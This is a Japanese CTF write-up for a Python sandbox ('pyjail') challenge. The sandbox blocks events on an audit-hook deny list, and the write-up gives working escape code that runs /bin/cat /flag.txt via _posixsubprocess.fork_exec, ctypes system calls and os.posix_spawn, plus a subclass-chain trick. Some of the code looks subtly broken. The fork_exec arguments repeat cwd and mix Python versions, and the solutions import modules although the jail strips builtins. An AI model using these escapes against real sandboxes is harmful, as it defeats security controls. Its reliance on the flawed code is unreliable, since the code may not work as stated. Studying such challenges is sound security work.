pyjail wiki

L3ak CTF 2024 - PySysMagic

Challenge

audit hook で監視された Python 3.10 環境。

import sys
def audit_hook(event, args):
forbidden = ['os.system', 'subprocess', 'exec', 'eval', 'compile']
if any(f in event for f in forbidden):
raise RuntimeError(f"Blocked: {event}")
sys.addaudithook(audit_hook)
code = input()
exec(code, {'__builtins__': {}})

Solution

_posixsubprocess.fork_exec

audit hook をトリガーしない低レベル関数:

import _posixsubprocess
import os
# pipe を作成して出力を取得
r, w = os.pipe()
_posixsubprocess.fork_exec(
[b'/bin/cat', b'/flag.txt'],
[b'/bin/cat'],
True, # close_fds
(), # pass_fds
None, # cwd
None, # env
-1, w, -1, # p2cread, c2pwrite, errwrite
-1, -1, # errpipe_read, errpipe_write
False, # restore_signals
False, # call_setsid
-1, -1, -1, # gid, extra_groups, uid
-1, # child_umask
None, # preexec_fn
None, # cwd (3.11+)
)
os.close(w)
print(os.read(r, 4096))

builtins なしでのモジュールインポート

# __class__ チェーンでインポート
().__class__.__bases__[0].__subclasses__()[INDEX].__init__.__globals__

Technical Details

audit イベント一覧

イベントトリガー
importモジュールインポート
execexec() 呼び出し
compilecompile() 呼び出し
os.systemos.system()
subprocess.Popensubprocess 使用
openファイルオープン

fork_exec が監視されない理由

_posixsubprocess.fork_exec は C 拡張モジュールで実装されており、audit イベントを発行しない。

Alternative Solutions

別解1: ctypes

import ctypes
libc = ctypes.CDLL(None)
libc.system(b'cat /flag.txt')

別解2: os.posix_spawn

import os
os.posix_spawn('/bin/cat', ['/bin/cat', '/flag.txt'], {})

Flag

L3AK{...}

References

  • L3ak CTF 2024 Official
  • PEP 578 - Python Audit Hooks